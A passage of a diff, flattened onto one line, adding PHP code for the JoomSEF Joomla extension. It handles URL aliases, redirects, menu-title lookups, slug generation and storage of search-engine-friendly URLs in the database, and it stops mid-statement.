+ // If Joomla template should not be used + if (!$sefConfig->template404) { + $vars['tmpl'] = 'component'; + } + + return $vars; + } + + function _parseAlias($route, $vars) + { + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + + $route = html_entity_decode(urldecode($route)); + + // Get all the corresponding aliases + $query = "SELECT `a`.`vars`, `u`.`sefurl` FROM `#__sefaliases` AS `a` INNER JOIN `#__sefurls` AS `u` ON `u`.`id` = `a`.`url` WHERE `a`.`alias` = " . $db->Quote($route) . " AND `u`.`trashed` = '0'"; + $db->setQuery($query); + $aliases = $db->loadObjectList(); + + // Are there any aliases? + if (!is_array($aliases) || (count($aliases) == 0)) { + return; + } + + // Try to find alias with corresponding variables + foreach ($aliases as $alias) { + // Create the array of alias variables + $avars = array(); + $alias->vars = trim($alias->vars); + if (!empty($alias->vars)) { + $tmpvars = explode("\n", $alias->vars); + + foreach($tmpvars as $tmpvar) { + list($vname, $vvalue) = explode('=', $tmpvar); + $avars[$vname] = urldecode($vvalue); + } + } + + // Check the variables count + if (count($avars) != count($vars)) { + continue; + } + + // Check all the variables + $ok = true; + foreach ($vars as $name => $value) { + if (!isset($avars[$name]) || ($avars[$name] != $value)) { + $ok = false; + break; + } + } + if (!$ok) { + continue; + } + + // Correct alias found, redirect + $f = $l = ''; + if( !headers_sent($f, $l) ) { + $mainframe =JFactory::getApplication(); + $url = JURI::root(); + if (substr($url, -1) != '/') { + $url .= '/'; + } + $url .= ltrim($alias->sefurl, '/'); + $mainframe->redirect($url, '', 'message', true); + exit(); + } else { + JoomSEF::_headers_sent_error($f, $l, __FILE__, __LINE__); + } + } + } + + function _sendHeader($header) + { + $f = $l = ''; + if (!headers_sent($f, $l)) { + header($header); + } + else { + JoomSEF::_headers_sent_error($f, $l, __FILE__, __LINE__); + } + } + + function _parseRawRoute(&$uri) + { + $sefConfig =& SEFConfig::getConfig(); + + if( is_null($uri->getVar('option')) ) { + // Set the URI from Itemid + $menu =& JSite::getMenu(true); + $item = $menu->getItem($uri->getVar('Itemid')); + if( !is_null($item) ) { + $uri->setQuery($item->query); + $uri->setVar('Itemid', $item->id); + } + } + + + $extAuto = 2; + if (isset($params)) { + $extAuto = $params->get('autoCanonical', 2); + } + $autoCanonical = ($extAuto == 2) ? $sefConfig->autoCanonical : $extAuto; + + if (($sefConfig->nonSefRedirect && (count($_POST) == 0)) || $autoCanonical) + { + // Try to find the non-SEF URL in the database - don't create new! + $oldDisable = $sefConfig->disableNewSEF; + $sefConfig->disableNewSEF = true; + + $uri->setPath('index.php'); + $url = $uri->toString(array('path', 'query', 'fragment')); + $sef = urldecode(JRoute::_($url)); + + // Restore the configuration + $sefConfig->disableNewSEF = $oldDisable; + + if ($sefConfig->nonSefRedirect && (count($_POST) == 0)) { + // Non-SEF redirect + if( strpos($sef, 'index.php?') === false ) { + // Seems the URL is SEF, let's redirect + $f = $l = ''; + if( !headers_sent($f, $l) ) { + $mainframe =JFactory::getApplication(); + $mainframe->redirect($sef, '', 'message', true); + exit(); + } else { + JoomSEF::_headers_sent_error($f, $l, __FILE__, __LINE__); + } + } + } + else if ($autoCanonical) { + // Only set canonical URL + $mainframe =JFactory::getApplication(); + + // Remove the query part from SEF URL + $pos = strpos($sef, '?'); + if ($pos !== false) { + $sef = substr($sef, 0, $pos); + } + + JoomSEF::set('sef.link.canonical', $sef); + } + } + + return $uri->getQuery(true); + } + + function _headers_sent_error($sentFile, $sentLine, $file, $line) + { + $msg = 'Headers already sent'; + if (JDEBUG) { + $msg .= ' in '.basename($sentFile)." on line $sentLine.
    Stopped at line $line in ".basename($file); + } + JError::raiseError('JoomSEF Error', $msg); + } + + function & _createUri(&$uri) + { + $url = JURI::root(); + + if( substr($url, -1) != '/' ) { + $url .= '/'; + } + $url .= $uri->toString(array('path', 'query', 'fragment')); + + $newUri = new JURI($url); + return $newUri; + } + + function _endSef($lang = '') + { + $mainframe =JFactory::getApplication(); + + $mainframe->triggerEvent('onSefEnd'); + JoomSEF::_restoreLang($lang); + } + + function _restoreLang($lang = '') + { + if ($lang != '') { + if ($lang != SEFTools::getLangLongCode()) { + $language =JFactory::getLanguage(); + $language->setLanguage($lang); + $language->load(); + } + } + } + + function _isHomePage(&$uri, $altered = false) + { + static $homeQuery, $homeId; + + if( !isset($homeQuery) ) { + list($homeQuery, $homeId) = SEFTools::getHomeQueries(false); + } + + // Copy the old uri + $newuri = clone($uri); + + // Normalize URI + if (!$altered) { + SEFTools::normalizeURI($newuri); + } + + // Check Itemid variable if present + if( !is_null($newuri->getVar('Itemid')) ) { + if( $newuri->getVar('Itemid') != $homeId ) { + // Itemid does not match + return false; + } else { + // Itemid matches, remove it from query + $newuri->delVar('Itemid'); + } + } + + // Remove the lang variable if present + $newuri->delVar('lang'); + + // Convert uri to string + $link = JoomSEF::_uriToUrl($newuri); + + // Compare links + if ($link == $homeQuery) { + return true; + } + + return false; + } + + function _getMenuTitle($option, $task, $id = null, $string = null) + { + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + + // JF translate extension. + $jfTranslate = $sefConfig->translateNames ? ', `id`' : ''; + + if ($title = JoomSEF::_getCustomMenuTitle($option)) { + return $title; + } + + // Which column to use? + $column = $sefConfig->useAlias ? 'alias' : 'name'; + + if (isset($string)) { + $sql = "SELECT `$column` AS `name`$jfTranslate FROM `#__menu` WHERE `link` = ".$db->Quote($string)." AND `published` > 0"; + } + elseif (isset($id) && $id != 0) { + $sql = "SELECT `$column` AS `name`$jfTranslate FROM `#__menu` WHERE `id` = '".intval($id)."' AND `published` > 0"; + } + else { + // Search for direct link to component only + $sql = "SELECT `$column` AS `name`$jfTranslate FROM `#__menu` WHERE `link` = ".$db->Quote('index.php?option='.$option)." AND `published` > 0"; + } + + $db->setQuery($sql); + $row = $db->loadObject(); + + if ($row && !empty($row->name)) { + $title = $row->name; + } + else { + $title = str_replace('com_', '', $option); + + if (!isset($string) && !isset($id)) { + // Try to extend the search for any link to component + $sql = "SELECT `$column` AS `name`$jfTranslate FROM `#__menu` WHERE `link` LIKE ".$db->Quote('index.php?option='.$option.'%')." AND `published` > 0"; + $db->setQuery($sql); + $row = $db->loadObject(); + if (!empty($row)) { + if (!empty($row->name)) $title = $row->name; + } + } + } + + return $title; + } + + function _getMenuItemInfo($option, $task, $id = null, $string = null) + { + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + + // JF translate extension. + $jfTranslate = $sefConfig->translateNames ? ', `id`' : ''; + + $item->title = JoomSEF::_getCustomMenuTitle($option); + + // Which column to use? + $column = 'name'; + if ($sefConfig->useAlias) $column = 'alias'; + + // first test Itemid + if (isset($id) && $id != 0) { + $sql = "SELECT `$column` AS `name`, `params`$jfTranslate FROM `#__menu` WHERE `id` = '".intval($id)."' AND `published` > 0"; + } + elseif (isset($string)) { + $sql = "SELECT `$column`AS `name`, `params` $jfTranslate FROM `#__menu` WHERE `link` = ".$db->Quote($string)." AND `published` > 0"; + } + else { + // Search for direct link to component only + $sql = "SELECT `$column` AS `name`, `params` $jfTranslate FROM `#__menu` WHERE `link` = ".$db->Quote('index.php?option='.$option)." AND `published` > 0"; + } + + $db->setQuery($sql); + $row = $db->loadObject(); + + if (!empty($row)) { + if (!empty($row->name) && !$item->title) $item->title = $row->name; + $item->params = new JParameter($row->params); + } + else { + $item->title = str_replace('com_', '', $option); + + if (!isset($string) && !isset($id)) { + // Try to extend the search for any link to component + $sql = "SELECT `$column` AS `name`, `params`$jfTranslate FROM `#__menu` WHERE `link` LIKE ".$db->Quote('index.php?option='.$option.'%')." AND `published` > 0"; + $db->setQuery($sql); + $row = $db->loadObject(); + if (!empty($row)) { + if (!empty($row->name) && !$item->title) $item->title = $row->name; + $item->params = new JParameter($row->params); + } + } + } + + return $item; + } + + function _getCustomMenuTitle($option) + { + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + $lang = SEFTools::getLangLongCode(); + + static $titles; + + $jfTranslate = $sefConfig->translateNames ? ', `id`' : ''; + + if( !isset($titles) ) { + $titles = array(); + } + + if( !isset($titles[$lang]) ) { + $db->setQuery("SELECT `file`, `title`$jfTranslate FROM `#__sefexts`"); + $titles[$lang] = $db->loadObjectList('file'); + } + + $file = $option.'.xml'; + if (isset($titles[$lang][$file]->title)) { + return $titles[$lang][$file]->title; + } else { + return null; + } + } + + /** + * Convert title to URL name. + * + * @param string $title + * @return string + */ + function _titleToLocation(&$title) + { + $sefConfig =& SEFConfig::getConfig(); + + // remove accented characters + // $title = strtr($title, + // replace non-ASCII characters. + $title = strtr($title, $sefConfig->getReplacements()); + + // remove quotes, spaces, and other illegal characters + if( $sefConfig->allowUTF ) { + $title = preg_replace(array('/[\s"\'`\?\:\/\\\\]/', '/(^_|_$)/'), array($sefConfig->replacement, ''), $title); + } + else { + $title = preg_replace(array('/[^a-zA-Z0-9\-!.,+]+/', '/(^_|_$)/'), array($sefConfig->replacement, ''), $title); + } + + // Handling lower case + if( $sefConfig->lowerCase ) { + $title = JoomSEF::_toLowerCase($title); + } + + return $title; + } + + /** + * Tries to correctly handle conversion to lowercase even for UTF-8 string + * + * @param unknown_type $str + */ + function _toLowerCase($str) + { + $sefConfig =& SEFConfig::getConfig(); + + if( $sefConfig->allowUTF ) { + if( function_exists('mb_convert_case') ) { + $str = mb_convert_case($str, MB_CASE_LOWER, 'UTF-8'); + } + } + else { + $str = strtolower($str); + } + + return $str; + } + + function _utf8LowerCase($str) + { + if( function_exists('mb_convert_case') ) { + $str = mb_convert_case($str, MB_CASE_LOWER, 'UTF-8'); + } + else { + $str = strtolower($str); + } + + return $str; + } + + /** + * Stores the given parameters in an array and returns it + * + * @param JURI $uri + * @param array $title + * @param string $task + * @param int $limit + * @param int $limitstart + * @param string $lang + * @param array $nonSefVars + * @param array $ignoreSefVars + * @param array $metadata List of metadata to be stored. (metakeywords, metadesc, ..., canonicallink) + * @param boolean $priority + * @param boolean $pageHandled Set to true if the extension handles its pagination on its own + * @return array + */ + function _sefGetLocation(&$uri, &$title, $task = null, $limit = null, $limitstart = null, $lang = null, $nonSefVars = null, $ignoreSefVars = null, $metadata = null, $priority = null, $pageHandled = false) + { + $data = compact('uri', 'title', 'task', 'limit', 'limitstart', 'lang', 'nonSefVars', 'ignoreSefVars', 'metadata', 'priority', 'pageHandled'); + + return $data; + } + + /** + * Find existing or create new SEO URL. + * + * @param array $data + * @return string + */ + function _storeLocation(&$data) + { + $mainframe =JFactory::getApplication(); + + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + $cache =& SEFCache::getInstance(); + + // Extract variables + $defaults = array('uri' => null, 'title' => null, 'task' => null, 'limit' => null, 'limitstart' => null, 'lang' => null, 'nonSefVars' => null, 'ignoreSefVars' => null, 'metadata' => null, 'priority' => null, 'pageHandled' => false); + foreach ($defaults as $varName => $value) { + if (is_array($data) && isset($data[$varName])) { + $$varName = $data[$varName]; + } + else { + $$varName = $value; + } + } + + // Get the default priority if not set + if( is_null($priority) ) { + $priority = JoomSEF::_getPriorityDefault($uri); + } + + // Get the parameters for this component + if( !is_null($uri->getVar('option')) ) { + $params =& SEFTools::getExtParams($uri->getVar('option')); + } + + // remove the menu title if set to for this component + if( isset($params) && ($params->get('showMenuTitle', '1') == '0') ) { + if ((count($title) > 1) && + ((count($title) != 2) || ($title[1] != '/')) && + ($title[0] == JoomSEF::_getMenuTitle(@$uri->getVar('option'), @$uri->getVar('task'), @$uri->getVar('Itemid')))) { + array_shift($title); + } + } + + // add the page number if the extension does not handle it + if( !$pageHandled && !is_null($uri->getVar('limitstart')) ) { + $limit = $uri->getVar('limit'); + if( is_null($limit) ) { + if( !is_null($uri->getVar('option')) ) { + $limit = intval($params->get('pageLimit', '')); + if( $limit == 0 ) { + $limit = 5; + } + } + else { + $limit = 5; + } + } + $pageNum = intval($uri->getVar('limitstart') / $limit) + 1; + $pagetext = strval($pageNum); + if (($cnfPageText = $sefConfig->getPageText())) { + $pagetext = str_replace('%s', $pageNum, $cnfPageText); + } + $title = array_merge($title, explode('/', $pagetext)); + //$title[] = $pagetext; + } + + // get all the titles ready for urls. + $location = array(); + foreach ($title as $titlePart) { + $titlePart = JoomSEF::_titleToLocation($titlePart); + if (strlen($titlePart) == 0) continue; + $location[] = $titlePart; + } + + // remove unwanted characters. + $finalstrip = explode('|', $sefConfig->stripthese); + $takethese = str_replace('|', '', $sefConfig->friendlytrim); + if (strstr($takethese, $sefConfig->replacement) === false) { + $takethese .= $sefConfig->replacement; + } + + $imptrim = implode('/', $location); + + if (!is_null($task)) { + $task = str_replace($sefConfig->replacement.'-'.$sefConfig->replacement, $sefConfig->replacement, $task); + $task = str_replace($finalstrip, '', $task); + $task = trim($task, $takethese); + } + + $imptrim = str_replace($sefConfig->replacement.'-'.$sefConfig->replacement, $sefConfig->replacement, $imptrim); + $suffixthere = 0; + $regexSuffix = str_replace('.', '\.', $sefConfig->suffix); + $pregSuffix = addcslashes($regexSuffix, '/'); + if (preg_match('/'.$pregSuffix.'$/i', $imptrim)) { + $suffixthere = strlen($sefConfig->suffix); + } + + $imptrim = str_replace($finalstrip, $sefConfig->replacement, substr($imptrim, 0, strlen($imptrim) - $suffixthere)); + $imptrim = str_replace($sefConfig->replacement.$sefConfig->replacement, $sefConfig->replacement, $imptrim); + + $suffixthere = 0; + if (preg_match('/'.$pregSuffix.'$/i', $imptrim)) { + $suffixthere = strlen($sefConfig->suffix); + } + + $imptrim = trim(substr($imptrim, 0, strlen($imptrim) - $suffixthere), $takethese); + + // add the task if set + $imptrim .= (!is_null($task) ? '/'.$task.$sefConfig->suffix : ''); + + // remove all the -/ + $imptrim = SEFTools::ReplaceAll($sefConfig->replacement.'/', '/', $imptrim); + + // remove all the /- + $imptrim = SEFTools::ReplaceAll('/'.$sefConfig->replacement, '/', $imptrim); + + // Remove all the // + $location = SEFTools::ReplaceAll('//', '/', $imptrim); + + // Remove starting / + $location = ltrim($location, '/'); + + // check if the location isn't too long for database storage and truncate it in that case + $suffixthere = 0; + if (preg_match('/'.$pregSuffix.'$/i', $location)) { + $suffixthere = strlen($sefConfig->suffix); + } + $suffixLen = strlen($sefConfig->suffix); + $maxlen = 240 + $suffixthere - $suffixLen; // Leave some space for language and numbers + if (strlen($location) > $maxlen) { + // Temporarily remove the suffix + $location = preg_replace('/'.$pregSuffix.'$/', '', $location); + + // Explode the location to parts + $parts = explode('/', $location); + do { + // Find the key of the longest part + $key = 0; + $len = strlen($parts[0]); + for( $i = 1, $n = count($parts); $i < $n; $i++ ) { + $tmpLen = strlen($parts[$i]); + if( $tmpLen > $len ) { + $key = $i; + $len = $tmpLen; + } + } + + // Truncate the longest part + $truncBy = strlen($location) - $maxlen; + if( $truncBy > 10 ) { + $truncBy = 10; + } + $parts[$key] = substr($parts[$key], 0, -$truncBy); + + // Implode to location again + $location = implode('/', $parts); + + // Add suffix if was there + if( $suffixthere > 0 ) { + $location .= $sefConfig->suffix; + } + } while(strlen($location) > $maxlen); + } + + // remove variables we don't want to be included in non-SEF URL + // and build the non-SEF part of our SEF URL + $nonSefUrl = ''; + + // load the nonSEF vars from option parameters + $paramNonSef = array(); + if( isset($params) ) { + $nsef = $params->get('customNonSef', ''); + + if( !empty($nsef) ) { + // Some variables are set, let's explode them + $paramNonSef = explode(';', $nsef); + } + } + + // get globally configured nonSEF vars + $configNonSef = array(); + if( !empty($sefConfig->customNonSef) ) { + $configNonSef = explode(';', $sefConfig->customNonSef); + } + + + // combine all the nonSEF vars arrays + $nsefvars = array_merge($paramNonSef, $configNonSef); + if (!empty($nsefvars)) { + foreach($nsefvars as $nsefvar) { + // add each variable, that isn't already set, and that is present in our URL + if( !isset($nonSefVars[$nsefvar]) && !is_null($uri->getVar($nsefvar)) ) { + $nonSefVars[$nsefvar] = $uri->getVar($nsefvar); + } + } + } + + // nonSefVars - variables to exclude only if set to in configuration + if ($sefConfig->appendNonSef && isset($nonSefVars)) { + $vars = array_keys($nonSefVars); + $q = SEFTools::RemoveVariables($uri, $vars); + if ($q != '') { + if ($nonSefUrl == '') { + $nonSefUrl = '?'.$q; + } + else { + $nonSefUrl .= '&'.$q; + } + } + // if $nonSefVars mixes with $GLOBALS['JOOMSEF_NONSEFVARS'], exclude the mixed vars + // this is important to prevent duplicating params by adding JOOMSEF_NONSEFVARS to + // $ignoreSefVars + $gNonSef = JoomSEF::get('sef.global.nonsefvars'); + if (!empty($gNonSef)) { + foreach (array_keys($gNonSef) as $key) { + if (in_array($key, array_keys($nonSefVars))) unset($gNonSef[$key]); + } + JoomSEF::set('sef.global.nonsefvars', $gNonSef); + } + } + + // if there are global variables to exclude, add them to ignoreSefVars array + $gNonSef = JoomSEF::get('sef.global.nonsefvars'); + if (!empty($gNonSef)) { + if (!empty($ignoreSefVars)) { + $ignoreSefVars = array_merge($gNonSef, $ignoreSefVars); + } else { + $ignoreSefVars = $gNonSef; + } + } + + // ignoreSefVars - variables to exclude allways + if (isset($ignoreSefVars)) { + $vars = array_keys($ignoreSefVars); + $q = SEFTools::RemoveVariables($uri, $vars); + if ($q != '') { + if ($nonSefUrl == '') { + $nonSefUrl = '?'.$q; + } + else { + $nonSefUrl .= '&'.$q; + } + } + } + + // If the component requests strict accept variables filtering, remove the ones that don't match + if( isset($params) && ($params->get('acceptStrict', '0') == '1') ) { + $acceptVars =& SEFTools::getExtAcceptVars($uri->getVar('option')); + $uriVars = $uri->getQuery(true); + if( (count($acceptVars) > 0) && (count($uriVars) > 0) ) { + foreach($uriVars as $name => $value) { + // Standard Joomla variables + if( in_array($name, $sefConfig->globalAcceptVars) ) { + continue; + } + // Accepted variables + if( in_array($name, $acceptVars) ) { + continue; + } + + // Variable not accepted, add it to non-SEF part of the URL + $value = urlencode($value); + if (strlen($nonSefUrl) > 0) { + $nonSefUrl .= '&'.$name.'='.$value; + } else { + $nonSefUrl = '?'.$name.'='.$value; + } + $uri->delVar($name); + } + } + } + + // always remove Itemid and store it in a separate column + if (!is_null($uri->getVar('Itemid'))) { + $Itemid = $uri->getVar('Itemid'); + $uri->delVar('Itemid'); + } + + // check for non-sef url first and avoid repeative lookups + // we only want to look for title variations when adding new + // this should also help eliminate duplicates. + + // David (284): ignore Itemid if set to + if( isset($params) ) { + $extIgnore = $params->get('ignoreSource', 2); + } else { + $extIgnore = 2; + } + $ignoreSource = ($extIgnore == 2 ? $sefConfig->ignoreSource : $extIgnore); + + // If Itemid is set as ignored for the component, set ignoreSource to 1 + $itemidIgnored = false; + if (isset($Itemid) && !is_null($uri->getVar('option'))) { + $itemidIgnored = SEFTools::isItemidIgnored($uri->getVar('option'), $Itemid); + if ($itemidIgnored) { + $ignoreSource = 1; + } + } + + $where = ''; + if (!$ignoreSource && isset($Itemid)) { + $where .= " AND (`Itemid` = '{$Itemid}' OR `Itemid` IS NULL)"; + } + $url = JoomSEF::_uriToUrl($uri); + + // if cache is activated, search in cache first + if ($sefConfig->useCache) { + $realloc = $cache->GetSefUrl($url, @$Itemid); + } + // search if URL exists, if we do not use cache or URL was not cached + if (!$sefConfig->useCache || !$realloc) { + $query = "SELECT * FROM `#__sefurls` WHERE `origurl` = " . $db->Quote(html_entity_decode(urldecode($url))) . $where . " AND (`trashed` = '0') LIMIT 2"; + $db->setQuery($query); + $sefurls = $db->loadObjectList('Itemid'); + + if (!$ignoreSource && isset($Itemid)) { + if (isset($sefurls[$Itemid])) { + $realloc = $sefurls[$Itemid]; + } + else if (isset($sefurls[''])) { + // We've found one of the ignored Itemids, update it with the current and return + $realloc = $sefurls['']; + $realloc->Itemid = $Itemid; + $query = "UPDATE `#__sefurls` SET `Itemid` = '{$Itemid}' WHERE `id` = '{$realloc->id}' LIMIT 1"; + $db->setQuery($query); + $db->query(); + } + else { + $realloc = reset($sefurls); + } + } + else { + $realloc = reset($sefurls); + } + /* + // removed - causing problems, ignore multiple sources not working correctly + // test if current Itemid record exists, if YES, use it, if NO, use first found + $curId = isset($Itemid) ? $Itemid : ''; + $active = isset($sefurls[$curId]) ? $sefurls[$curId] : reset($sefurls); + $realloc = $active; + */ + } + // if not found, try to find the url without lang variable + if (!$realloc && ($sefConfig->langPlacement == _COM_SEF_LANG_DOMAIN)) { + $url = JoomSEF::_uriToUrl($uri, 'lang'); + + if ($sefConfig->useCache) { + $realloc = $cache->GetSefUrl($url, @$Itemid); + } + if (!$sefConfig->useCache || !$realloc) { + $query = "SELECT * FROM `#__sefurls` WHERE `origurl` = ".$db->Quote(html_entity_decode(urldecode($url))).$where . " AND (`trashed` = '0') LIMIT 2"; + $db->setQuery($query); + $sefurls = $db->loadObjectList('Itemid'); + + if (!$ignoreSource && isset($Itemid)) { + if (isset($sefurls[$Itemid])) { + $realloc = $sefurls[$Itemid]; + } + else if (isset($sefurls[''])) { + // We've found one of the ignored Itemids, update it with the current and return + $realloc = $sefurls['']; + $realloc->Itemid = $Itemid; + $query = "UPDATE `#__sefurls` SET `Itemid` = '{$Itemid}' WHERE `id` = '{$realloc->id}' LIMIT 1"; + $db->setQuery($query); + $db->query(); + } + else { + $realloc = reset($sefurls); + } + } + else { + $realloc = reset($sefurls); + } + /* + // removed - causing problems, ignore multiple sources not working correctly + // test if current Itemid record exists, if YES, use it, if NO, use first found + $curId = isset($Itemid) ? $Itemid : ''; + $active = isset($sefurls[$curId]) ? $sefurls[$curId] : reset($sefurls); + $realloc = $active; + */ + } + } + + // found a match, so we are done + if (is_object($realloc)) { + // return the original URL if SEF is disabled + if (!$realloc->sef) { + return $uri; + } + + // return found URL with non-SEF part appended + if (($nonSefUrl != '') && (strstr($realloc->sefurl, '?'))) { + $nonSefUrl = str_replace('?', '&', $nonSefUrl); + } + + $url = JURI::root(); + + if (substr($url, -1) != '/') $url .= '/'; + $url .= $realloc->sefurl.$nonSefUrl; + $fragment = $uri->getFragment(); + if (!empty($fragment)) $url .= '#'.$fragment; + + return new JURI($url); + } + // URL not found, so lets create it + else { + // return the original URL if we don't want to save new URLs + if ($sefConfig->disableNewSEF) return $uri; + + $realloc = null; + + $suffixMust = false; + // add lang to suffix, if set to + if (SEFTools::JoomFishInstalled() && isset($lang) && $sefConfig->langPlacement == _COM_SEF_LANG_SUFFIX) { + if (($sefConfig->mainLanguage == '0') || ($lang != $sefConfig->mainLanguage)) { + $suffix = '_'.$lang.$sefConfig->suffix; + $suffixMust = true; + } + } + if (!isset($suffix)) { + $suffix = $sefConfig->suffix; + } + $addFile = $sefConfig->addFile; + if (($pos = strrpos($addFile, '.')) !== false) { + $addFile = substr($addFile, 0, $pos); + } + + // in case the created SEF URL is already in database for different non-SEF URL, + // we need to distinguish them by using numbers, so let's find the first unused URL + + $leftPart = ''; // string to be searched before page number + $rightPart = ''; // string to be searched after page number + if (substr($location, -1) == '/' || strlen($location) == 0) { + if (($pagetext = $sefConfig->getPageText())) { + // use global limit if NULL and set in globals + if (is_null($limit) && isset($_REQUEST['limit']) && $_REQUEST['limit'] > 0) $limit = $_REQUEST['limit']; + // if we are using pagination, try to calculate page number + if (!is_null($limitstart) && $limitstart > 0) { + // make sure limit is not 0 + if ($limit == 0) { + $config =JFactory::getConfig(); + $listLimit = $config->get('list_limit'); + $limit = ($listLimit > 0) ? $listLimit : 20; + } + $pagenum = $limitstart / $limit; + $pagenum++; + } + else $pagenum = 1; + + if (strpos($pagetext, '%s') !== false) { + $page = str_replace('%s', $pagenum == 1 ? $addFile : $pagenum, $pagetext) . $suffix; + + $pages = explode('%s', $pagetext); + $leftPart = $location . $pages[0]; + $rightPart = $pages[1] . $suffix; + } + else { + $page = $pagetext.($pagenum == 1 ? $addFile : $sefConfig->pagerep . $pagenum) . $suffix; + + $leftPart = $location . $pagetext . $sefConfig->pagerep; + $rightPart = $suffix; + } + + $temploc = $location . ($pagenum == 1 && !$suffixMust ? '' : $page); + } + else { + $temploc = $location . ($suffixMust ? $sefConfig->pagerep.$suffix : ''); + + $leftPart = $location . $sefConfig->pagerep; + $rightPart = $suffix; + } + } + elseif ($suffix) { + if ($sefConfig->suffix != '/') { + if (preg_match('/'.$pregSuffix.'/i', $location)) { + $temploc = preg_replace('/' . $pregSuffix . '/', '', $location) . $suffix; + + $leftPart = preg_replace('/' . $pregSuffix . '/', '', $location) . $sefConfig->pagerep; + $rightPart = $suffix; + } + else { + $temploc = $location . $suffix; + + $leftPart = $location . $sefConfig->pagerep; + $rightPart = $suffix; + } + } + else { + $temploc = $location . $suffix; + + $leftPart = $location . $sefConfig->pagerep; + $rightPart = $suffix; + } + } + else { + $temploc = $location . ($suffixMust ? $sefConfig->pagerep . $suffix : ''); + + $leftPart = $location . $sefConfig->pagerep; + $rightPart = $suffix; + } + + // add language to path if set to + if (SEFTools::JoomFishInstalled() && isset($lang) && $sefConfig->langPlacement == _COM_SEF_LANG_PATH) { + if (($sefConfig->mainLanguage == '0') || ($lang != $sefConfig->mainLanguage)) { + $slash = ($temploc != '' && $temploc[0] == '/'); + $temploc = $lang . ($slash || strlen($temploc) > 0 ? '/' : '') . $temploc; + + $leftPart = $lang . '/' . $leftPart; + } + } + + if ($sefConfig->addFile) { + if (!preg_match('/'.$pregSuffix . '$/i', $temploc) && substr($temploc, -1) == '/') { + $temploc .= $sefConfig->addFile; + } + } + + // convert to lowercase if set to + if ($sefConfig->lowerCase) { + $temploc = JoomSEF::_toLowerCase($temploc); + $leftPart = JoomSEF::_toLowerCase($leftPart); + $rightPart = JoomSEF::_toLowerCase($rightPart); + } + + $url = JoomSEF::_uriToUrl($uri); + + // see if we have a result for this location + $sql = "SELECT `id`, `origurl`, `Itemid`, `sefurl` FROM `#__sefurls` WHERE `sefurl` = ".$db->Quote($temploc)." AND `origurl` != '' AND `trashed` = '0'"; + $db->setQuery($sql); + $row = $db->loadObject(); + + if ($itemidIgnored) { + $Itemid = null; + } + $realloc = JoomSEF::_checkRow($row, $ignoreSource, @$Itemid, $url, $metadata, $temploc, $priority, $uri->getVar('option')); + + // the correct URL could not be used, we must find the first free number + if( is_null($realloc) ) { + // let's get all the numbered pages + $sql = "SELECT `id`, `origurl`, `Itemid`, `sefurl` FROM `#__sefurls` WHERE `sefurl` LIKE ".$db->Quote($leftPart.'%'.$rightPart)." AND `trashed` = '0'"; + $db->setQuery($sql); + $pages = $db->loadObjectList(); + + // create associative array of form number => URL info + $urls = array(); + if (!empty($pages)) { + $leftLen = strlen($leftPart); + $rightLen = strlen($rightPart); + + foreach ($pages as $page) { + $sefurl = $page->sefurl; + + // separate URL number + $urlnum = substr($sefurl, $leftLen, strlen($sefurl) - $leftLen - $rightLen); + + // use only if it's really numeric + if (is_numeric($urlnum)) { + $urls[intval($urlnum)] = $page; + } + } + } + + $i = 2; + do { + $temploc = $leftPart . $i . $rightPart; + $row = null; + if (isset($urls[$i])) { + $row = $urls[$i]; + } + + $realloc = JoomSEF::_checkRow($row, $ignoreSource, @$Itemid, $url, $metadata, $temploc, $priority, $uri->getVar('option')); + + $i++; + } while( is_null($realloc) ); + } + } + + // return found URL with non-SEF part appended + if (($nonSefUrl != '') && (strstr($realloc, '?'))) { + $nonSefUrl = str_replace('?', '&', $nonSefUrl); + } + + $url = JURI::root(); + + if (substr($url, -1) != '/') $url .= '/'; + $url .= $realloc.$nonSefUrl; + $fragment = $uri->getFragment(); + if (!empty($fragment)) { + $url .= '#'.$fragment; + } + + return new JURI($url); + } + + function enabled(&$plugin) + { + + + return true; + } + + /** + * Checks the found row + * + */ + function _checkRow(&$row, $ignoreSource, $Itemid, $url, &$metadata, $temploc, $priority, $option) + { + $realloc = null; + + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + + $numberDuplicates = $sefConfig->numberDuplicates; + + if( !empty($option) ) { + $params =& SEFTools::getExtParams($option); + $extDuplicates = $params->get('numberDuplicates', '2'); + if( $extDuplicates != '2' ) { + $numberDuplicates = $extDuplicates; + } + } + + if( ($row != false) && !is_null($row) ) { + if ($ignoreSource || (!$ignoreSource && (empty($Itemid) || $row->Itemid == $Itemid))) { + // ... check that it matches original URL + if ($row->origurl == $url) { + // found the matching object + // it probably should have been found sooner + // but is checked again here just for CYA purposes + // and to end the loop + $realloc = $row->sefurl; + } + else if ($sefConfig->langPlacement == _COM_SEF_LANG_DOMAIN) { + // check if the urls differ only by lang variable + if (SEFTools::removeVariable($row->origurl, 'lang') == SEFTools::removeVariable($url, 'lang')) { + $db->setQuery("UPDATE `#__sefurls` SET `origurl` = ".$db->Quote(SEFTools::removeVariable($row->origurl, 'lang'))." WHERE `id` = '{$row->id}' LIMIT 1"); + + // if error occured. + if (!$db->query()) { + $msg = JText::_('Could not update SEF URL in database'); + if (JDEBUG) { + $msg .= ': '.$db->getErrorMsg(); + } + JError::raiseError('JoomSEF Error', $msg); + } + + $realloc = $row->sefurl; + } + } + } + + // The found URL is not the same + if( !$numberDuplicates ) { + // But duplicates management is turned on + // so we can save the same SEF URL for different non-SEF URL + JoomSEF::_saveNewURL($Itemid, $metadata, $priority, $temploc, $url); + $realloc = $temploc; + } + } + // URL not found + else { + // Save URL in the database + JoomSEF::_saveNewURL($Itemid, $metadata, $priority, $temploc, $url, true); + $realloc = $temploc; + } + + return $realloc; + } + + /** + * Inserts new SEF URL to database + * + */ + function _saveNewURL($Itemid, &$metadata, $priority, $temploc, $url, $check404 = false) + { + $db =ShlDbHelper::getDb(); + + // First try to find and recycle the trashed URL + $query = "SELECT `id` FROM `#__sefurls` WHERE `origurl` = ".$db->Quote(html_entity_decode(urldecode($url)))." AND `trashed` = '1'"; + if (!empty($Itemid)) { + $query .= " AND `Itemid` = '{$Itemid}'"; + } + else { + $query .= " AND `Itemid` IS NULL"; + } + $db->setQuery($query); + $row = $db->loadObject(); + + if (!is_null($row)) { + // We've found trashed URL, let's reuse it + $query 